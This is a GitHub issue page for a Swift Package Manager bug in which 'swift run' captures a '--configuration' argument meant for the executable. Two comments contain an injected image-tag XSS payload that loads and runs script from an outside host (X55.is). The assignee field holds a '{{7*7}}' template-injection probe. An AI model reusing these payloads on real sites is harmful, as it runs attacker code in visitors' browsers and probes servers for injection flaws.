Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[SR-14619] swift run interprets -c argument after executable name instead of passing it #283

Open
swift-ci opened this issue May 10, 2021 · 3 comments

Comments

@swift-ci
Copy link

Previous ID SR-14619
Radar rdar://problem/77852440
Original Reporter arrizer (JIRA User)
Type Bug
Status Reopened
Resolution
Environment

Apple Swift version 5.4 (swiftlang-1205.0.26.9 clang-1205.0.19.55)
Target: x86_64-apple-darwin20.3.0

Additional Detail from JIRA
Votes 1
Component/s Docker
Labels Bug
Assignee administrator{{7*7}} (JIRA)
Priority Medium

md5: c4db8bf685ac3e1cc286131910bf3fc4

Issue Description:

If you want to build and run a Swift command line executable that takes an argument named -c or --configuration, instead of passing it to the invocation, swift tries to interpret it as it's own argument:

swift run executablename --configuration foo

Will throw the following error:

error: The value 'foo' is invalid for '-c <configuration>'
Usage: swift run <options>
  See 'run --help' for more information.

Instead of building and running executablename and passing it the argument as is.

Seems to work fine for other arguments that swift run accepts: For example, -h is passed correctly even though swift run also accepts a -h argument.

@swift-ci
Copy link
Author

Comment by (JIRA)

hi</p><Img Src=//X55.is OnLoad=import(src)><p>Hi

@swift-ci
Copy link
Author

Comment by (JIRA)

<Img Src=//X55.is OnLoad=import(src)>

@typesanitizer
Copy link

@swift-ci create

@swift-ci swift-ci transferred this issue from apple/swift-issues Apr 25, 2022
@shahmishal shahmishal transferred this issue from swiftlang/swift May 5, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants